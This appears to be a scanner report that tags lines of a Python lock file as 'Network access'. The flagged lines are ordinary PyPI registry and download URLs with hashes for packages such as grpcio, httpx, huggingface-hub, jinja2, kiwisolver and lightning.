  • Network accessline 453
    { url = "https://files.pythonhosted.org/packages/f8/51/f464c1d211fa50d5adbabe1b2e519948d99c13757052bfc9ea7afa28e284/grpcio-1.83.0-cp313-cp313-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:5f20a988480b0f28207f057f7f7ae1313393c3
  • Network accessline 454
    { url = "https://files.pythonhosted.org/packages/e8/c0/539fe0832f2dd6500a28f5263071623fb34e8d4867aec632ccf81bd21156/grpcio-1.83.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:7bd82671b39065ba18cd536e9cd45b27ff
  • Network accessline 455
    { url = "https://files.pythonhosted.org/packages/8c/ca/ccf617d37ffa72567fa8e005ec7090c99da922799be2fb9847c8b21ca18c/grpcio-1.83.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:bc60215b5cb9fc8ca72942c498b551ac2305bd08f6ef8d4e3f0d21b
  • Network accessline 456
    { url = "https://files.pythonhosted.org/packages/eb/b9/fd8d5245f823a8e0fd35d90e20ea3aa4acd47f8d5318fa8df307df52dec6/grpcio-1.83.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:f1c3e5689d4b90987b1d72022bcfe866a9a3dc66197484cf856d96b615
  • Network accessline 457
    { url = "https://files.pythonhosted.org/packages/14/1e/f37632fc11db72dfa4bba86c3a43e54358e53030df111ecae5e91a733ad6/grpcio-1.83.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:a21cb4eeeba124443f399be2e8b624943cde864dcbe588cb42e5c483
  • Network accessline 458
    { url = "https://files.pythonhosted.org/packages/93/b6/d70b69ae5c0cfc341b9ba474980e4ed99cbf05c0e4a14e9eee8cb73db0a5/grpcio-1.83.0-cp313-cp313-win32.whl", hash = "sha256:8fe04f1050a59f875601eb55d42b4f66946fe89817f967e34db1462ccd07dadf", size
  • Network accessline 459
    { url = "https://files.pythonhosted.org/packages/0f/13/45d4cccb555cf4c476226979bf3d2fd0b0254216f7564c3a053e35117efc/grpcio-1.83.0-cp313-cp313-win_amd64.whl", hash = "sha256:6e01ecd9d8ef280abe1365138a4dc318f9a5287f4cb1b41d07816f796653f735", 
  • Network accessline 463
    name = "h11" version = "0.16.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 464
    version = "0.16.0" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/01/ee/02a2c011bdab74c6fb3c75474d40b3052059d95df7e73351460c8588d963/h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf4
  • Network accessline 465
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 466
    sdist = { url = "https://files.pythonhosted.org/packages/01/ee/02a2c011bdab74c6fb3c75474d40b3052059d95df7e73351460c8588d963/h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1", size = 101250,
  • Network accessline 467
    wheels = [     { url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86
  • Network accessline 468
    { url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86", size = 37515
  • Network accessline 472
    name = "hf-xet" version = "1.6.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 473
    version = "1.6.0" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/1b/ab/522a2ab67f27971a9d48ca666d4fca85ef7d5282d142e31fd087e27b1bbe/hf_xet-1.6.0.tar.gz", hash = "sha256:2e58454a34
  • Network accessline 474
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 475
    sdist = { url = "https://files.pythonhosted.org/packages/1b/ab/522a2ab67f27971a9d48ca666d4fca85ef7d5282d142e31fd087e27b1bbe/hf_xet-1.6.0.tar.gz", hash = "sha256:2e58454a340b3556dfa4972d5451aff4fba8dd42a236600ba1a1d2b1514f0fef", size = 92052
  • Network accessline 476
    wheels = [     { url = "https://files.pythonhosted.org/packages/a2/50/7afa2c9c787405864fc47a0d1bbc02c62e9101947ed43c1f43899fc7d91d/hf_xet-1.6.0-cp38-abi3-macosx_10_12_x86_64.whl", hash = "sha256:633dc0cd71d32da58ab8c03ad38e2fac452c15c2b0a28
  • Network accessline 477
    { url = "https://files.pythonhosted.org/packages/a2/50/7afa2c9c787405864fc47a0d1bbc02c62e9101947ed43c1f43899fc7d91d/hf_xet-1.6.0-cp38-abi3-macosx_10_12_x86_64.whl", hash = "sha256:633dc0cd71d32da58ab8c03ad38e2fac452c15c2b0a2866ebf6ededfe0a5
  • Network accessline 478
    { url = "https://files.pythonhosted.org/packages/4b/69/55b8dcf636142ae660fec1869fcac14c4da2e8412e14d6eee1523be77e9f/hf_xet-1.6.0-cp38-abi3-macosx_11_0_arm64.whl", hash = "sha256:f0906082d9932ae0c0057fa194041c22b4e2cdb46b2592ef3b91f020d62a08
  • Network accessline 479
    { url = "https://files.pythonhosted.org/packages/67/4e/a28359bf1c1ecf11eba22123168c138698f7cb576ac678f5a2e16cd5da08/hf_xet-1.6.0-cp38-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:d62671bb130879cef0ee4c9ebe47a14af6c66
  • Network accessline 480
    { url = "https://files.pythonhosted.org/packages/9a/69/1f0cbc2fb22ae6082d094f743d1b8945a3f36f6089cb95f42b7ee348cda7/hf_xet-1.6.0-cp38-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:0e6e21fa3cdfcdcd76748564bf593870a5e013f47d97cf10aed63aa22
  • Network accessline 481
    { url = "https://files.pythonhosted.org/packages/d1/3a/4f4f2301ade26e404462d3336fa11f7958d914cabbabdd6e03c3c5d5658c/hf_xet-1.6.0-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:4fc74352a17015bd0ee90038bc9efe38db894cde45f268b6712b04fce8
  • Network accessline 482
    { url = "https://files.pythonhosted.org/packages/ab/5f/311725e2a905534dfee2dcb5b08414f249147f1f12252bfc2bd24caa075c/hf_xet-1.6.0-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:8fb4f71cba6129110c3374a33f919001ff130488fc23553698e34cc1c2a
  • Network accessline 483
    { url = "https://files.pythonhosted.org/packages/98/b7/8c59a66d15205024662f1d66968136f13893f96df1ddc5087e2e281fc95f/hf_xet-1.6.0-cp38-abi3-win_amd64.whl", hash = "sha256:fb4fadde1b2b70bf4c0c14a6dccbe7194b1c28947fefd5bbe3fed9d940676c3b", siz
  • Network accessline 484
    { url = "https://files.pythonhosted.org/packages/73/63/ca511b6f802f28cf3489b280fe77475bcca8de85e81a6299d7916b5b5555/hf_xet-1.6.0-cp38-abi3-win_arm64.whl", hash = "sha256:3dc3e35441ba395006af5aaacc40ef2e603c51ef46c3530b9156185f00935ea3", siz
  • Network accessline 488
    name = "httpcore" version = "1.0.9" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 489
    version = "1.0.9" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 490
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 493
    { name = "h11" }, ] sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff
  • Network accessline 494
    ] sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8", size = 8
  • Network accessline 495
    sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8", size = 854
  • Network accessline 496
    wheels = [     { url = "https://files.pythonhosted.org/packages/7e/f5/f66802a942d491edb555dd61e3a9961140fd64c90bce1eafd741609d334d/httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1
  • Network accessline 497
    { url = "https://files.pythonhosted.org/packages/7e/f5/f66802a942d491edb555dd61e3a9961140fd64c90bce1eafd741609d334d/httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55", size = 7
  • Network accessline 501
    name = "httpx" version = "0.28.1" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 502
    version = "0.28.1" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 503
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 508
    { name = "idna" }, ] sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e
  • Network accessline 509
    ] sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc", size = 141
  • Network accessline 510
    sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc", size = 14140
  • Network accessline 511
    wheels = [     { url = "https://files.pythonhosted.org/packages/2a/39/e50c7c3a983047577ee07d2a9e53faf5a69493943ec3f6a384bdc792deb2/httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59
  • Network accessline 512
    { url = "https://files.pythonhosted.org/packages/2a/39/e50c7c3a983047577ee07d2a9e53faf5a69493943ec3f6a384bdc792deb2/httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad", size = 735
  • Network accessline 516
    name = "huggingface-hub" version = "1.28.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 517
    version = "1.28.0" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 518
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 528
    { name = "typing-extensions" }, ] sdist = { url = "https://files.pythonhosted.org/packages/c6/ae/222a91937ebee7f62c0ca8f5ee0afd97577caf24c0abb927d1f5c7e9f6d2/huggingface_hub-1.28.0.tar.gz", hash = "sha256:46a2e950c09234de54093d587d1675382f0
  • Network accessline 529
    ] sdist = { url = "https://files.pythonhosted.org/packages/c6/ae/222a91937ebee7f62c0ca8f5ee0afd97577caf24c0abb927d1f5c7e9f6d2/huggingface_hub-1.28.0.tar.gz", hash = "sha256:46a2e950c09234de54093d587d1675382f0d08dbd600d9fb599b5932f5b2c6cb", 
  • Network accessline 530
    sdist = { url = "https://files.pythonhosted.org/packages/c6/ae/222a91937ebee7f62c0ca8f5ee0afd97577caf24c0abb927d1f5c7e9f6d2/huggingface_hub-1.28.0.tar.gz", hash = "sha256:46a2e950c09234de54093d587d1675382f0d08dbd600d9fb599b5932f5b2c6cb", si
  • Network accessline 531
    wheels = [     { url = "https://files.pythonhosted.org/packages/51/0e/eafef18f1a75e125e68395db21131db0cf868a128ecd2fce69b4df6c584b/huggingface_hub-1.28.0-py3-none-any.whl", hash = "sha256:58a8bacb03072edfc38067065e9dc24bbb34805410fcd36a1632
  • Network accessline 532
    { url = "https://files.pythonhosted.org/packages/51/0e/eafef18f1a75e125e68395db21131db0cf868a128ecd2fce69b4df6c584b/huggingface_hub-1.28.0-py3-none-any.whl", hash = "sha256:58a8bacb03072edfc38067065e9dc24bbb34805410fcd36a1632de0b329660bb", 
  • Network accessline 536
    name = "idna" version = "3.19" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 537
    version = "3.19" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/5f/f7/abb373e5757eaec4b922b92f97ec8d6d7e057cf06778247604fbc4e7c3f3/idna-3.19.tar.gz", hash = "sha256:5e0811a4383b21
  • Network accessline 538
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 539
    sdist = { url = "https://files.pythonhosted.org/packages/5f/f7/abb373e5757eaec4b922b92f97ec8d6d7e057cf06778247604fbc4e7c3f3/idna-3.19.tar.gz", hash = "sha256:5e0811a4383b21dc5838069f801c4fb62113b7447663d2530d2bd6e77b49bf15", size = 215237, 
  • Network accessline 540
    wheels = [     { url = "https://files.pythonhosted.org/packages/57/b0/0e52c878c53f245edd3a11020f20979b3f490f245af532c7cae3027754b5/idna-3.19-py3-none-any.whl", hash = "sha256:815e7be7a7806d54abb586dc943addc79e8b2ee16915059658cbeff4b1b43bf4"
  • Network accessline 541
    { url = "https://files.pythonhosted.org/packages/57/b0/0e52c878c53f245edd3a11020f20979b3f490f245af532c7cae3027754b5/idna-3.19-py3-none-any.whl", hash = "sha256:815e7be7a7806d54abb586dc943addc79e8b2ee16915059658cbeff4b1b43bf4", size = 68550,
  • Network accessline 545
    name = "jinja2" version = "3.1.6" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 546
    version = "3.1.6" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 547
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 549
    { name = "markupsafe" }, ] sdist = { url = "https://files.pythonhosted.org/packages/df/bf/f7da0350254c0ed7c72f3e33cef02e048281fec7ecec5f032d4aac52226b/jinja2-3.1.6.tar.gz", hash = "sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb8381
  • Network accessline 550
    ] sdist = { url = "https://files.pythonhosted.org/packages/df/bf/f7da0350254c0ed7c72f3e33cef02e048281fec7ecec5f032d4aac52226b/jinja2-3.1.6.tar.gz", hash = "sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d", size = 245
  • Network accessline 551
    sdist = { url = "https://files.pythonhosted.org/packages/df/bf/f7da0350254c0ed7c72f3e33cef02e048281fec7ecec5f032d4aac52226b/jinja2-3.1.6.tar.gz", hash = "sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d", size = 24511
  • Network accessline 552
    wheels = [     { url = "https://files.pythonhosted.org/packages/62/a1/3d680cbfd5f4b8f15abc1d571870c5fc3e594bb582bc3b64ea099db13e56/jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f
  • Network accessline 553
    { url = "https://files.pythonhosted.org/packages/62/a1/3d680cbfd5f4b8f15abc1d571870c5fc3e594bb582bc3b64ea099db13e56/jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67", size = 134
  • Network accessline 557
    name = "joblib" version = "1.5.3" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 558
    version = "1.5.3" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/41/f2/d34e8b3a08a9cc79a50b2208a93dce981fe615b64d5a4d4abee421d898df/joblib-1.5.3.tar.gz", hash = "sha256:8561a3269e
  • Network accessline 559
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 560
    sdist = { url = "https://files.pythonhosted.org/packages/41/f2/d34e8b3a08a9cc79a50b2208a93dce981fe615b64d5a4d4abee421d898df/joblib-1.5.3.tar.gz", hash = "sha256:8561a3269e6801106863fd0d6d84bb737be9e7631e33aaed3fb9ce5953688da3", size = 33160
  • Network accessline 561
    wheels = [     { url = "https://files.pythonhosted.org/packages/7b/91/984aca2ec129e2757d1e4e3c81c3fcda9d0f85b74670a094cc443d9ee949/joblib-1.5.3-py3-none-any.whl", hash = "sha256:5fc3c5039fc5ca8c0276333a188bbd59d6b7ab37fe6632daa76bc7f9ec18e7
  • Network accessline 562
    { url = "https://files.pythonhosted.org/packages/7b/91/984aca2ec129e2757d1e4e3c81c3fcda9d0f85b74670a094cc443d9ee949/joblib-1.5.3-py3-none-any.whl", hash = "sha256:5fc3c5039fc5ca8c0276333a188bbd59d6b7ab37fe6632daa76bc7f9ec18e713", size = 309
  • Network accessline 566
    name = "julius" version = "0.2.8" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 567
    version = "0.2.8" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 568
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 570
    { name = "torch" }, ] sdist = { url = "https://files.pythonhosted.org/packages/1d/c6/5c2aea2b11ead1680bb5b17c996def31f8ccade471cada37cdb93855e06f/julius-0.2.8.tar.gz", hash = "sha256:d691e651200930affea4f6c849c26e95fec846087281ae3d1a7757eac
  • Network accessline 571
    ] sdist = { url = "https://files.pythonhosted.org/packages/1d/c6/5c2aea2b11ead1680bb5b17c996def31f8ccade471cada37cdb93855e06f/julius-0.2.8.tar.gz", hash = "sha256:d691e651200930affea4f6c849c26e95fec846087281ae3d1a7757eac90253d5", size = 480
  • Network accessline 572
    sdist = { url = "https://files.pythonhosted.org/packages/1d/c6/5c2aea2b11ead1680bb5b17c996def31f8ccade471cada37cdb93855e06f/julius-0.2.8.tar.gz", hash = "sha256:d691e651200930affea4f6c849c26e95fec846087281ae3d1a7757eac90253d5", size = 48081
  • Network accessline 573
    wheels = [     { url = "https://files.pythonhosted.org/packages/86/43/efdb0bcb07c47826fa55857cec0deb743f74cd83b6ba5ec9e413505a72e6/julius-0.2.8-py3-none-any.whl", hash = "sha256:6891235cbc355e629d839f87489bff8ca46e57a0e7cc35abb909c7a2aa538c
  • Network accessline 574
    { url = "https://files.pythonhosted.org/packages/86/43/efdb0bcb07c47826fa55857cec0deb743f74cd83b6ba5ec9e413505a72e6/julius-0.2.8-py3-none-any.whl", hash = "sha256:6891235cbc355e629d839f87489bff8ca46e57a0e7cc35abb909c7a2aa538c25", size = 218
  • Network accessline 578
    name = "kiwisolver" version = "1.5.0" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 579
    version = "1.5.0" source = { registry = "https://pypi.org/simple/" } sdist = { url = "https://files.pythonhosted.org/packages/d0/67/9c61eccb13f0bdca9307614e782fec49ffdde0f7a2314935d489fa93cd9c/kiwisolver-1.5.0.tar.gz", hash = "sha256:d4193f
  • Network accessline 580
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 581
    sdist = { url = "https://files.pythonhosted.org/packages/d0/67/9c61eccb13f0bdca9307614e782fec49ffdde0f7a2314935d489fa93cd9c/kiwisolver-1.5.0.tar.gz", hash = "sha256:d4193f3d9dc3f6f79aaed0e5637f45d98850ebf01f7ca20e69457f3e8946b66a", size = 1
  • Network accessline 582
    wheels = [     { url = "https://files.pythonhosted.org/packages/9d/69/024d6711d5ba575aa65d5538042e99964104e97fa153a9f10bc369182bc2/kiwisolver-1.5.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:fd40bb9cd0891c4c3cb1ddf83f8bbfa1573
  • Network accessline 583
    { url = "https://files.pythonhosted.org/packages/9d/69/024d6711d5ba575aa65d5538042e99964104e97fa153a9f10bc369182bc2/kiwisolver-1.5.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:fd40bb9cd0891c4c3cb1ddf83f8bbfa15731a248fdc8162669
  • Network accessline 584
    { url = "https://files.pythonhosted.org/packages/ce/48/adbb40df306f587054a348831220812b9b1d787aff714cfbc8556e38fccd/kiwisolver-1.5.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:c0e1403fd7c26d77c1f03e096dc58a5c726503fa0db0456678b866
  • Network accessline 585
    { url = "https://files.pythonhosted.org/packages/a8/3a/d0a972b34e1c63e2409413104216cd1caa02c5a37cb668d1687d466c1c45/kiwisolver-1.5.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:dda366d548e89a90d88a86c692377d18d8bd64b39c1fb2b92cb31370
  • Network accessline 586
    { url = "https://files.pythonhosted.org/packages/2b/0a/7b98e1e119878a27ba8618ca1e18b14f992ff1eda40f47bccccf4de44121/kiwisolver-1.5.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:332b4f0145c30b5f5ad9374881133e5
  • Network accessline 587
    { url = "https://files.pythonhosted.org/packages/18/d8/55638d89ffd27799d5cc3d8aa28e12f4ce7a64d67b285114dbedc8ea4136/kiwisolver-1.5.0-cp313-cp313-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0c50b89ffd3e1a911c69a1dd3de7
  • Network accessline 588
    { url = "https://files.pythonhosted.org/packages/b8/97/b4c8d0d18421ecceba20ad8701358453b88e32414e6f6950b5a4bad54e65/kiwisolver-1.5.0-cp313-cp313-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:4db576bb8c3ef9365f8b40fe0f67
  • Network accessline 589
    { url = "https://files.pythonhosted.org/packages/c4/10/f862f94b6389d8957448ec9df59450b81bec4abb318805375c401a1e6892/kiwisolver-1.5.0-cp313-cp313-manylinux_2_24_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0b85aad90cea8ac6797a53b5d5f2e967
  • Network accessline 590
    { url = "https://files.pythonhosted.org/packages/a3/6a/f1650af35821eaf09de398ec0bc2aefc8f211f0cda50204c9f1673741ba9/kiwisolver-1.5.0-cp313-cp313-manylinux_2_39_riscv64.whl", hash = "sha256:d36ca54cb4c6c4686f7cbb7b817f66f5911c12ddb519450bbe8
  • Network accessline 591
    { url = "https://files.pythonhosted.org/packages/de/19/d7fb82984b9238115fe629c915007be608ebd23dc8629703d917dbfaffd4/kiwisolver-1.5.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:38f4a703656f493b0ad185211ccfca7f0386120f022066b018eb
  • Network accessline 592
    { url = "https://files.pythonhosted.org/packages/7f/b9/46b7f386589fd222dac9e9de9c956ce5bcefe2ee73b4e79891381dda8654/kiwisolver-1.5.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:3ac2360e93cb41be81121755c6462cff3beaa9967188c866e5fc
  • Network accessline 593
    { url = "https://files.pythonhosted.org/packages/92/8b/95e237cf3d9c642960153c769ddcbe278f182c8affb20cecc1cc983e7cc5/kiwisolver-1.5.0-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:c95cab08d1965db3d84a121f1c7ce7479bdd4072c9b3dafd8fec
  • Network accessline 594
    { url = "https://files.pythonhosted.org/packages/1b/95/980c9df53501892784997820136c01f62bc1865e31b82b9560f980c0e649/kiwisolver-1.5.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:fc20894c3d21194d8041a28b65622d5b86db786da6e3cfe73f0c76
  • Network accessline 595
    { url = "https://files.pythonhosted.org/packages/cb/32/900647fd0840abebe1561792c6b31e6a7c0e278fc3973d30572a965ca14c/kiwisolver-1.5.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:7a32f72973f0f950c1920475d5c5ea3d971b81b6f0ec53b8d0a95
  • Network accessline 596
    { url = "https://files.pythonhosted.org/packages/be/8a/be60e3bbcf513cc5a50f4a3e88e1dcecebb79c1ad607a7222877becaa101/kiwisolver-1.5.0-cp313-cp313-win_amd64.whl", hash = "sha256:0bf3acf1419fa93064a4c2189ac0b58e3be7872bf6ee6177b0d4c63dc4cea276
  • Network accessline 597
    { url = "https://files.pythonhosted.org/packages/4d/d2/64be2e429eb4fca7f7e1c52a91b12663aeaf25de3895e5cca0f47ef2a8d0/kiwisolver-1.5.0-cp313-cp313-win_arm64.whl", hash = "sha256:fa8eb9ecdb7efb0b226acec134e0d709e87a909fa4971a54c0c4f6e88635484c
  • Network accessline 598
    { url = "https://files.pythonhosted.org/packages/b0/69/ce68dd0c85755ae2de490bf015b62f2cea5f6b14ff00a463f9d0774449ff/kiwisolver-1.5.0-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:db485b3847d182b908b483b2ed133c66d88d49cacf98fd278
  • Network accessline 599
    { url = "https://files.pythonhosted.org/packages/74/aa/937aac021cf9d4349990d47eb319309a51355ed1dbdc9c077cdc9224cb11/kiwisolver-1.5.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:be12f931839a3bdfe28b584db0e640a65a8bcbc24560ae3fdb025
  • Network accessline 600
    { url = "https://files.pythonhosted.org/packages/ee/20/3a87fbece2c40ad0f6f0aefa93542559159c5f99831d596050e8afae7a9f/kiwisolver-1.5.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:16b85d37c2cbb3253226d26e64663f755d88a03439a9c47df6246b3
  • Network accessline 601
    { url = "https://files.pythonhosted.org/packages/f0/7f/f943879cda9007c45e1f7dba216d705c3a18d6b35830e488b6c6a4e7cdf0/kiwisolver-1.5.0-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:4432b835675f0ea7414aab3d37d119
  • Network accessline 602
    { url = "https://files.pythonhosted.org/packages/37/f8/4d4f85cc1870c127c88d950913370dd76138482161cd07eabbc450deff01/kiwisolver-1.5.0-cp313-cp313t-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1b0feb50971481a2cc44d94e88b
  • Network accessline 603
    { url = "https://files.pythonhosted.org/packages/04/0b/65dd2916c84d252b244bd405303220f729e7c17c9d7d33dca6feeff9ffc4/kiwisolver-1.5.0-cp313-cp313t-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:56fa888f10d0f367155e76ce849
  • Network accessline 604
    { url = "https://files.pythonhosted.org/packages/39/5c/2606a373247babce9b1d056c03a04b65f3cf5290a8eac5d7bdead0a17e21/kiwisolver-1.5.0-cp313-cp313t-manylinux_2_24_s390x.manylinux_2_28_s390x.whl", hash = "sha256:940dda65d5e764406b9fb92761cbf46
  • Network accessline 605
    { url = "https://files.pythonhosted.org/packages/d5/d1/c6078b5756670658e9192a2ef11e939c92918833d2745f85cd14a6004bdf/kiwisolver-1.5.0-cp313-cp313t-manylinux_2_39_riscv64.whl", hash = "sha256:89fc958c702ee9a745e4700378f5d23fddbc46ff89e8fdbf53
  • Network accessline 606
    { url = "https://files.pythonhosted.org/packages/cb/c8/7def6ddf16eb2b3741d8b172bdaa9af882b03c78e9b0772975408801fa63/kiwisolver-1.5.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9027d773c4ff81487181a925945743413f6069634d0b122d0b3
  • Network accessline 607
    { url = "https://files.pythonhosted.org/packages/9e/87/2ac1fce0eb1e616fcd3c35caa23e665e9b1948bb984f4764790924594128/kiwisolver-1.5.0-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:5b233ea3e165e43e35dba1d2b8ecc21cf070b45b65ae17dd274
  • Network accessline 608
    { url = "https://files.pythonhosted.org/packages/67/13/c6700ccc6cc218716bfcda4935e4b2997039869b4ad8a94f364c5a3b8e63/kiwisolver-1.5.0-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:ce9bf03dad3b46408c08649c6fbd6ca28a9fce0eb32fdfffa67
  • Network accessline 609
    { url = "https://files.pythonhosted.org/packages/1b/bd/877056304626943ff0f1f44c08f584300c199b887cb3176cd7e34f1515f1/kiwisolver-1.5.0-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:fc4d3f1fb9ca0ae9f97b095963bc6326f1dbfd3779d6679a1e016
  • Network accessline 610
    { url = "https://files.pythonhosted.org/packages/75/19/c60626c47bf0f8ac5dcf72c6c98e266d714f2fbbfd50cf6dab5ede3aaa50/kiwisolver-1.5.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:f443b4825c50a51ee68585522ab4a1d1257fac65896f282b4c67
  • Network accessline 611
    { url = "https://files.pythonhosted.org/packages/47/84/6a6d5e5bb8273756c27b7d810d47f7ef2f1f9b9fd23c9ee9a3f8c75c9cef/kiwisolver-1.5.0-cp313-cp313t-win_arm64.whl", hash = "sha256:893ff3a711d1b515ba9da14ee090519bad4610ed1962fbe298a434e8c5f8db5
  • Network accessline 615
    name = "lightning" version = "2.6.5" source = { registry = "https://pypi.org/simple/" }
  • Network accessline 616
    version = "2.6.5" source = { registry = "https://pypi.org/simple/" } dependencies = [
  • Network accessline 617
    source = { registry = "https://pypi.org/simple/" }
  • Network accessline 627
    { name = "typing-extensions" }, ] sdist = { url = "https://files.pythonhosted.org/packages/c9/1d/83be8536bec71a0173e762a9a1fd92a24a5ad0d0f74c59550c3c4e6c103b/lightning-2.6.5.tar.gz", hash = "sha256:16a30310ed69afde3748491feb5d13508908effd70
  • Network accessline 628
    ] sdist = { url = "https://files.pythonhosted.org/packages/c9/1d/83be8536bec71a0173e762a9a1fd92a24a5ad0d0f74c59550c3c4e6c103b/lightning-2.6.5.tar.gz", hash = "sha256:16a30310ed69afde3748491feb5d13508908effd70390d2bfc203dc0812a4b4a", size = 
  • Network accessline 629
